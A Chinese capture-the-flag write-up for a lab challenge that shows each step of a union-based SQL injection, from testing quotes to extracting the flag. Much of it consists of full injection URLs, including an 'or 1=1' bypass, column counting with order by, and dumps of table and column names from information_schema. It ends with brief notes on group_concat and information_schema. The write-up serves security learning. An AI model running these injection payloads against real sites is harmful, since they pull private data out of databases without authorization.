一、思路
1.URL后面的id=1,2,3;会出现不同的界面,但是,但我们输入4时,发现没有回显
2.推测有有三列,还是老方法,
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1’
没有回显,当我们使用#注释’的时候,发现没有回显
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1’#
那就是编码的问题,使用%23进行注释
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%23
or也没被过滤,使用万能密码可以注入,但是没什么用
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%20or%20%271%27=%271%23
刚才推测的三列,得到验证
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%20order%20by%201,2,3%23
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%20order%20by%201,2,3,4%23
4.找显位点,有个细节问题就是,经过我多次测试,原来id后面的数字,除了正常回显的1,2,3这三个数字之外的字母或数字就可以找到,显位点,使用的是堆叠(union 注入)
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=a%27%20union%20select%201,2,3%23
(union注入)参考链接:
https://blog.csdn.net/Candyys/article/details/105542662
找到显位点是2或3,直接爆库成功,库名为:note
5.爆表,出了点小问题,2这个显位点,报表不可以,只能选择3这个位置了
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=4’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’note’%23
表名:fl4g,notes
6.我们要的是flag,因此就选用fl4g这个表,爆字段的时候到了,嘻嘻
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=4’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fl4g’%23
字段名为:fllllag
7.知道字段名,爆数据走一波,
http://3387232d-9307-48df-8866-25d7a7282c21.node3.buuoj.cn/index.php?id=4’ union select 1,2,group_concat(fllllag) from fl4g%23
8.成功得到flag,哈哈哈,超级开心
n1book{union_select_is_so_cool}
二、知识点:
1.Sql中group_concat用法
基本用法:group_concat([DISTINCT]要连接的字段[order by ASC/DESC 排序字段][separator ’分隔符’])
常常用于关联查询,并且表数据对应的关系为一对多,将结果返回一条数据
2.MySQL中的information_schema数据库
参考链接:https://blog.csdn.net/u014639561/article/details/51579161
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
schemata表:展示当前mysql实例中所有数据库的信息。
TABLES表:
存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。
COLUMNS表:
存储表中的列信息,包括表有多少列,每一个列的类型等。
三、总结
通过这道题,理了一下SQL注入的思路。并且学习了一些SQL的基础知识,group_concat()函数的作用,还有information_schema表的运用。
参考链接:https://www.cnblogs.com/darkerg/p/14781191.html